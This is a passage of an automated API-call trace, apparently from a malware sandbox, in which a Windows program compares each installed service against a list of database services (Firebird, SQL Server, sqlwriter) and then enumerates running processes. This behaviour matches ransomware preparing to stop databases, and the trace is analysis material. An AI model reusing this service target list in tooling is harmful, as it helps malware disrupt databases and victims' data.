lpString2="DeviceAssociationService") returned 1 [0273.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0273.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0273.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0273.625] lstrlenW (lpString="Dhcp") returned 4 [0273.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.625] lstrlenW (lpString="Dnscache") returned 8 [0273.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.625] lstrlenW (lpString="DPS") returned 3 [0273.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.625] lstrlenW (lpString="DusmSvc") returned 7 [0273.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0273.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0273.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0273.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0273.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0273.625] lstrlenW (lpString="EventLog") returned 8 [0273.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0273.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0273.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0273.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0273.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0273.626] lstrlenW (lpString="EventSystem") returned 11 [0273.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.626] lstrlenW (lpString="FontCache") returned 9 [0273.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0273.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0273.626] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0273.626] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0273.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0273.626] lstrlenW (lpString="gpsvc") returned 5 [0273.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.626] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.626] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.626] lstrlenW (lpString="iphlpsvc") returned 8 [0273.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.626] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.626] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.626] lstrlenW (lpString="KeyIso") returned 6 [0273.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0273.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0273.626] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0273.626] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0273.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0273.626] lstrlenW (lpString="LanmanServer") returned 12 [0273.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.627] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.627] lstrlenW (lpString="lfsvc") returned 5 [0273.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0273.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0273.627] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0273.627] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0273.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0273.627] lstrlenW (lpString="lmhosts") returned 7 [0273.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.627] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.627] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.627] lstrlenW (lpString="LSM") returned 3 [0273.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0273.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0273.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0273.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0273.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0273.627] lstrlenW (lpString="MpsSvc") returned 6 [0273.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.627] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.627] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.628] lstrlenW (lpString="NcbService") returned 10 [0273.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0273.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0273.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0273.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0273.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0273.628] lstrlenW (lpString="netprofm") returned 8 [0273.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.628] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.628] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.628] lstrlenW (lpString="NgcSvc") returned 6 [0273.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0273.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0273.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0273.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0273.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0273.628] lstrlenW (lpString="NlaSvc") returned 6 [0273.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.628] lstrlenW (lpString="nsi") returned 3 [0273.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.628] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.628] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.628] lstrlenW (lpString="PcaSvc") returned 6 [0273.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.628] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.629] lstrlenW (lpString="PlugPlay") returned 8 [0273.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.629] lstrlenW (lpString="Power") returned 5 [0273.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.629] lstrlenW (lpString="ProfSvc") returned 7 [0273.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.629] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.629] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.629] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.629] lstrlenW (lpString="RpcSs") returned 5 [0273.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.629] lstrlenW (lpString="SamSs") returned 5 [0273.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.630] lstrlenW (lpString="Schedule") returned 8 [0273.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.630] lstrlenW (lpString="SecurityHealthService") returned 21 [0273.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0273.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0273.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0273.630] lstrlenW (lpString="SENS") returned 4 [0273.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.630] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.630] lstrlenW (lpString="Spooler") returned 7 [0273.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.631] lstrlenW (lpString="SSDPSRV") returned 7 [0273.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0273.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0273.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0273.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0273.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0273.631] lstrlenW (lpString="StateRepository") returned 15 [0273.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0273.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0273.631] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0273.631] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0273.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0273.631] lstrlenW (lpString="SysMain") returned 7 [0273.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.631] lstrlenW (lpString="SystemEventsBroker") returned 18 [0273.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0273.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0273.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0273.631] lstrlenW (lpString="Themes") returned 6 [0273.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.631] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cc008 | out: hHeap=0x6e0000) returned 1 [0273.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0273.635] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.635] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.636] lstrlenW (lpString="System") returned 6 [0273.636] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.636] lstrlenW (lpString="smss.exe") returned 8 [0273.637] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.637] lstrlenW (lpString="csrss.exe") returned 9 [0273.637] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.638] lstrlenW (lpString="wininit.exe") returned 11 [0273.638] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.638] lstrlenW (lpString="csrss.exe") returned 9 [0273.638] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.639] lstrlenW (lpString="winlogon.exe") returned 12 [0273.639] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.640] lstrlenW (lpString="services.exe") returned 12 [0273.640] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.640] lstrlenW (lpString="lsass.exe") returned 9 [0273.640] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.641] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.641] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.641] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.641] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.642] lstrlenW (lpString="svchost.exe") returned 11 [0273.642] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.643] lstrlenW (lpString="svchost.exe") returned 11 [0273.643] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.643] lstrlenW (lpString="dwm.exe") returned 7 [0273.643] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.644] lstrlenW (lpString="svchost.exe") returned 11 [0273.644] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.644] lstrlenW (lpString="svchost.exe") returned 11 [0273.644] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.645] lstrlenW (lpString="svchost.exe") returned 11 [0273.645] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.646] lstrlenW (lpString="svchost.exe") returned 11 [0273.646] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.646] lstrlenW (lpString="svchost.exe") returned 11 [0273.646] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.647] lstrlenW (lpString="svchost.exe") returned 11 [0273.647] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.647] lstrlenW (lpString="svchost.exe") returned 11 [0273.648] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.648] lstrlenW (lpString="svchost.exe") returned 11 [0273.648] 